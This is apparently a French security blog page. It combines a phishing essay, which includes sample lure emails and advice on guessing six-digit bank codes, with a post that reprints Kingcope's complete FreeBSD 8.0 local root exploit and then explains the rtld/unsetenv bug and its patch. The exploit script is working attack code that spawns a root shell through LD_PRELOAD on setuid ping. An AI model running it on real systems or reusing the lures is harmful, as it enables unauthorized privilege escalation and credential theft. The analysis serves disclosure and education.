cloud's Blog

Je vais faire dans cet article une analyse personnelle du Phishing, du stockage de nos informations, tout ca mélé avec un zest de Social Engineering.

L'authentification par identifiant + mot de passe reste la solution la plus fréquente sur Internet. Du coup un des moyens d'attaque les plus fréquent consiste à faire croire que l'on ai le site officiel afin que la personne s'authentifie sur le faux site et que l'on récupère ses authentifiants. C'est le principe utilisé par le Phishing. Celui ci peut également être utilisé pour voler des informations plus critiques comme les informations bancaires.

Connu depuis des années, le Phishing reste toujours d'actualité meme si j'ai de gros doute sur le taux de réussite des phishing classiques. Cependant le danger est peut etre la ou on ne le voit pas. Je m'explique :

Imaginons 2 Phishers :
-le 1er va envoyer un mail classique du type :

Bonjour,

Suite à des problèmes techniques, il est nécessaire que vous vous authentifiez sur note site afin que votre compte 
reste actif. Pour cela, merci de cliquer sur le <a href="http://www.sitedegrosmechant.info/images/siteofficiel.com/">lien suivant.</a>

Merci de nous excuser pour la gène occasionnée.

Le 2e Phisher choisi une toute autre stratégie et décide de créer un site demandant une inscription afin de gagner un cadeau qui bien sur ne sera jamais envoyé :

Bonjour,

Nous vous offrons la chance de gagner cette magnifique villa d'une valeur de 500 000euros ! Pour cela rien de plus simple, inscrivez vous sur 
notre site en <a href="http://www.gagnervilla.com">cliquant ici.</a> Le tirage au sort aura lieu de 3 Janvier 2010.

L'inscription est gratuite et nous nous engageons à ne pas divulguer vos informations. Rien à perdre, tout à gagner 
alors inscrivez vous vite !

Bien cordialement.

D'après vous, sur quel site aurez vous le plus d'entrée ? Ajoutons à cela que plus de 50% des gens utilisent toujours le même mot de passe, (voir source) le taux de réussite est je pense bien plus élevé pour le 2e Phisher que le 1er et en prime la personne n'aura jamais conscience qu'elle s'est faite voler son mot de passe via un site tout à fait autre du site piraté.

Ici nous avons joué sur la crédulité d'un utilisateur. Voyons maintenant des systèmes tout simplement mal concu à mon sens.

Prenons l'exemple d'un site bien sensible, comme celui d'une banque et plus précisément celui du Crédit Lyonnais. Je n'y ai jamais travaillé donc mon analyse est juste fondée sur des observations de leur portail. Tout d'abord on constate que pour s'authentifier, l'identifiant correspond à l'indicatif banque + le numéro de compte. Pour cela il suffit donc de récupérer le RIB de quelqu'un en faisant par exemple croire que l'on veut lui acheter quelque chose et que nous avons besoin de son RIB pour effectuer le virement. Un RIB est une information considérée non confidentielle pour la plupart des gens.
Pour le mot de passe, on constate via la source que celui ci ne fait que 6 caractères de long :

<input maxlength="6" tabindex="3" name="CodeId" size="9" class="in" type="password">

On constate donc desuite que le mot de passe n'est absolument pas robuste. En prime, ce mot de passe est numérique ! Il suffit d'etre client Crédit Lyonnais pour le savoir. Donc pour trouver un mot de passe de 6 caractères numériques, dans 70% des cas, je suis persuadé que tester la date de naissance du client ou de ses enfants (récupérable via les sites communautaires comme Facebook) ou que 123456 aboutira à une connexion au compte de la personne :). Je ne m'étalerai pas sur ce qu'il est ensuite possible de faire une fois connecté mais personnellement je suis assez étonné des règles de sécurité appliquées par des organismes aussi important que des banques.

Les techniques présentées ci-dessus peuvent etre considérées comme du Phishing intelligent, mélange de Phishing et de Social Engineering. Maintenant voyons si le Phishing classique est pret à diminuer.

Le Phishing est un problème traité par les sociétés fréquement visés. Cependant ce traitement n'est que correctif et vise à bloquer un site de Phishing actif et non à prévenir des futures attaques et l'évolution ne facilite pas la tache. Prenons par exemple la nouvelle mode des sites permettant de raccourcir une URL pour la mettre par exemple sur Twitter ou les caractères sont limités. Ces sites sont certes pratiques mais camouflent l'URL principale ce qui empèche de controler l'url de destination avant d'aller dessus et donc augmente fortement la potentialité de se faire avoir.
Par ailleurs, on constate que la navigation web ainsi que la lecture des mails se font de plus en plus à partir d'un téléphone portable. Avec un téléphone type iPhone, il est impossible de controler le lien sur lequel on clique. De plus la taille de la barre d'url d'un téléphone étant très courte, il est beaucoup plus facile de se faire avoir par manque d'attention.
Il est donc fort probable que le Phishing est de beau jour devant lui.

Pour le traiter, il serait nécessaire de mettre en place de la signature numérique sur les mails envoyés. Sinon à minima, il serait envisageable de controler l'adresse d'expédition qui est souvent facilement identifiable comme frauduleuse. Voici un exemple d'un spam facebook recu récemment :

Objet:   	Facebook Account Update
De:   	"Facebook" <update+cpfqxnxruo@facebookmail.com>

Il serait imaginable un système qui nous permette de voir les vraies adresses d'expédition de Facebook. Une autre direction à étudier serait de pouvoir interdire selon ses réglages de bloquer les charsets et caracères inconnus. En effet on constate très souvent que les campagnes de Phishing proviennent de pays de l'Est et que ses mails contiennent des caractères russes non reconnus. Il pourrait etre envisageable de les bloquer directement.

Un dernier point que je souhaitais aborder dans cet article est le stockage des informations sensibles. Encore très récemment j'ai recu un email de lesjeudis.com suite à des modifications de leur part. Voici le mail :

Objet:   	Vos informations de connexion
De:   	"Lesjeudis.com" <candidats@lesjeudis.com>

Bonjour,

Nous avons procede a une evolution de votre bureau candidat http://www.lesjeudis.com Lesjeudis.com .

Pour des raisons de securite il est possible que vos informations de connexion aient changees.

Voici vos identifiants :

Login de connexion : monemail@site.com

Mot de passe : monmotdepasseenclair

Merci de votre comprehension.

Bonne journee.

N'hesitez pas a nous contacter pour toutes questions.

Bien cordialement,

Support Lesjeudis.com

Mon mot de passe était affiché en clair et envoyé sur ma boite email. D'un, cela signifie que mon mot de passe est stocké en clair ou chiffré via un algorithme réversible et que donc celui ci est exploitable par cette société ou par un pirate ayant compromis ce site.
De deux, lesjeudis.com décide d'envoyer mon mot de passe sur ma boite sans action au préalable de ma part. Tous les cas récents et médiatisés de vols de boite email est apparement sans importance pour eux.

Pire, le site amazon semble conserver notre numéro de carte bancaire, la date d'expiration ainsi que nos coordonnées dans ses bases de données puisque il n'est pas nécessaire de rerentrer ses informations si plusieurs achats sont faits. A voir le chiffrement mis en place sur ces bases de données mais personnellement cela me semble assez dangereux et un pirate prenant la main sur les identifiants amazon d'un client, il peut alors modifier l'adresse de livraison et réutiliser la carte bleu pour effectuer des achats. En plus du risque SSI, je verrais bien une non conformité PCI-DSS derrière tout ca :)

Conclusion :
Internet est le lieu privilégié des fraudes en tout genre car permet d'agir rapidement et en masse. Pour s'en prémunir il est important de ne pas donner d'informations personnelles ou de s'inscrire sur des sites non considérés comme de confiance. De plus il est important d'avoir une politique de mot de passe adéquate consistant à utiliser des mots de passe différents pour chaque site et penser à renouveller régulièrement ces mots de passe. Un logiciel comme Keepass peut vous aider à gérer vos mots de passe. Ensuite il faut faire beaucoup plus attention sur des systèmes comme les PDA ou les téléphones portables qui rendent la personne plus vulnérable ainsi qu'aux url bizarres ou non officielles.
Par ailleurs il est important que les sociétés fassent des efforts de leur coté en ne stockant jamais les mots de passes des personnes mais juste des hash des mots de passe. De plus des données secrètes comme les données bancaires ne doivent etre stockées que dans des cas d'olbigation et non afin de facilité l'ergonomie pour l'utilisateur.

Sur ce, bon surf !

J'ai décidé d'ajouter un article qui restera donc toujours dans le menu de droite dans lequel je stockerai tous les scripts que j'ai présenté sur mon blog afin que ceux ci ne soient pas perdus dans les méandres des différents sujets et pour que peut etre ils puissent servir à quelqu'un.

Donc si ca vous intéresse, rendez vous dans la rubrique Tools / PoC / Scripts

Voila quelques heures que j'ai posté mon annonce de la sortie de FreeBSD 8.0 et Ivan décide alors de me pourrir ma soirée :

23:35 <@`Ivan> jvais te faire du mal cloud

Et il a réussi (et ce n'était pas une proposition SM :] ) !

Kingcope était resté calme depuis sa vulnérabilité sur le FTP de IIS et voila qu'il nous sort un 0day pour FreeBSD, un joli local root. Voici l'exploit :

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

A 1ere vu on constate en gros qu'il exploite une vulnérabilité du RTLD (Run-Time Dynamic Loader) en faisant exécuter un LD_PRELOAD sur un programme setuid, chose normalement impossible sauf qu'il a réussi :)

Analysons ca ensemble. On va commencer par ouvrir rtld.c pour voir comment ca marche :

(22:08:52 cloud /usr/home/cloud) 0 $ vim /usr/src/libexec/rtld-elf/rtld.c

func_ptr_type
_rtld(Elf_Addr *sp, func_ptr_type *exit_proc, Obj_Entry **objp)
{
    Elf_Auxinfo *aux_info[AT_COUNT];
	..........
	 trust = !issetugid();

    ld_bind_now = getenv(LD_ "BIND_NOW");
    /* 
     * If the process is tainted, then we un-set the dangerous environment
     * variables.  The process will be marked as tainted until setuid(2)
     * is called.  If any child process calls setuid(2) we do not want any
     * future processes to honor the potentially un-safe variables.
     */
    if (!trust) {
        unsetenv(LD_ "PRELOAD");
	..............

On voit bien que si le prog est setuid (/sbin/ping dans notre cas) alors on a un appel sur unsetenv(LD_ "PRELOAD"); . Essayons de voir comment marche cette fonction unsetenv() dans getenv.c .

(22:17:46 cloud /usr/home/cloud) 0 $ vim /usr/src/lib/libc/stdlib/getenv.c

/*
 * Unset variable with the same name by flagging it as inactive.  No variable is
 * ever freed.
 */
int
unsetenv(const char *name)
{
        int envNdx;
        size_t nameLen;

        /* Check for malformed name. */
        if (name == NULL || (nameLen = __strleneq(name)) == 0) {
                errno = EINVAL;
                return (-1);
        }

        /* Initialize environment. */
        if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1))
                return (-1);

        /* Deactivate specified variable. */
        envNdx = envVarsTotal - 1;
        if (__findenv(name, nameLen, &envNdx, true) != NULL) {
                envVars[envNdx].active = false;
                if (envVars[envNdx].putenv)
                        __remove_putenv(envNdx);
                __rebuild_environ(envActive - 1);
        }

        return (0);
}

D'abord il regarde si le nom n'est pas malformé puis fait une condition avec __merge_environ(); Essayons de la regarder :

/*
 * If the program attempts to replace the array of environment variables
 * (environ) environ or sets the first varible to NULL, then deactivate all
 * variables and merge in the new list from environ.
 */
static int
__merge_environ(void)
{
        char **env;
        char *equals;

   .................
                /*
                 * Insert new environ into existing, yet deactivated,
                 * environment array.
                 */
                origEnviron = environ;
                if (origEnviron != NULL)
					 for (env = origEnviron; *env != NULL; env++) {
                                if ((equals = strchr(*env, '=')) == NULL) {
                                        __env_warnx(CorruptEnvValueMsg, *env,
                                            strlen(*env));
                                        errno = EFAULT;
                                        return (-1);
                                }
                                if (__setenv(*env, equals - *env, equals + 1,
                                    1) == -1)
                                        return (-1);
                        }
        }

        return (0);
}

Et la on constate qu'il cherche un = et si c'est le cas, il renvoit -1 ! Du coup unsetenv() renvoi une erreur (-1) mais n'est pas traité dans le rtld.c

if (!trust) {
        unsetenv(LD_ "PRELOAD");

Du coup le unsetenv ne se fait pas mais aucune erreur n'est générée !

Donc en gros, l'exploit charge le LD_PRELOAD en mémoire, lance le bin setuid /sbin/ping qui lance alors le /bin/sh du LD_PRELOAD car bypass le unsetenv() !

Joli, il fallait le voir, un bon exploit à l'ancienne comme on les aime :) Bravo à Kingcope.

Un patch a été publié pour palier rapidement à cela. Je vous le donne mais attention car des effets de bords peuvent apparaitre. Un autre patch sera proposé.

*** rtld.c.orig Tue Dec  1 16:55:13 2009
--- rtld.c      Tue Dec  1 16:55:55 2009
***************
*** 357,374 ****
       * is called.  If any child process calls setuid(2) we do not want any
       * future processes to honor the potentially un-safe variables.
       */
      if (!trust) {
          unsetenv(LD_ "PRELOAD");
          unsetenv(LD_ "LIBMAP");
          unsetenv(LD_ "LIBRARY_PATH");
          unsetenv(LD_ "LIBMAP_DISABLE");
          unsetenv(LD_ "DEBUG");
      }
-     ld_debug = getenv(LD_ "DEBUG");
-     libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL;
-     libmap_override = getenv(LD_ "LIBMAP");
-     ld_library_path = getenv(LD_ "LIBRARY_PATH");
-     ld_preload = getenv(LD_ "PRELOAD");
      dangerous_ld_env = libmap_disable || (libmap_override != NULL) ||
        (ld_library_path != NULL) || (ld_preload != NULL);
      ld_tracing = getenv(LD_ "TRACE_LOADED_OBJECTS");
--- 357,379 ----
       * is called.  If any child process calls setuid(2) we do not want any
       * future processes to honor the potentially un-safe variables.
       */
+     ld_preload = getenv(LD_ "PRELOAD");
+     libmap_override = getenv(LD_ "LIBMAP");
+     ld_library_path = getenv(LD_ "LIBRARY_PATH");
+     libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL;
+     ld_debug = getenv(LD_ "DEBUG");
      if (!trust) {
+         ld_preload = NULL;
+         libmap_override = NULL;
+         ld_library_path = NULL;
+         libmap_disable = 0;
+         ld_debug = NULL;
          unsetenv(LD_ "PRELOAD");
          unsetenv(LD_ "LIBMAP");
          unsetenv(LD_ "LIBRARY_PATH");
          unsetenv(LD_ "LIBMAP_DISABLE");
          unsetenv(LD_ "DEBUG");
      }
      dangerous_ld_env = libmap_disable || (libmap_override != NULL) ||
          (ld_library_path != NULL) || (ld_preload != NULL);
      ld_tracing = getenv(LD_ "TRACE_LOADED_OBJECTS");

Pour la petite histoire, il semble que Sebastian Krahmer ait découvert la vulnérabilité il y a quelques temps déjà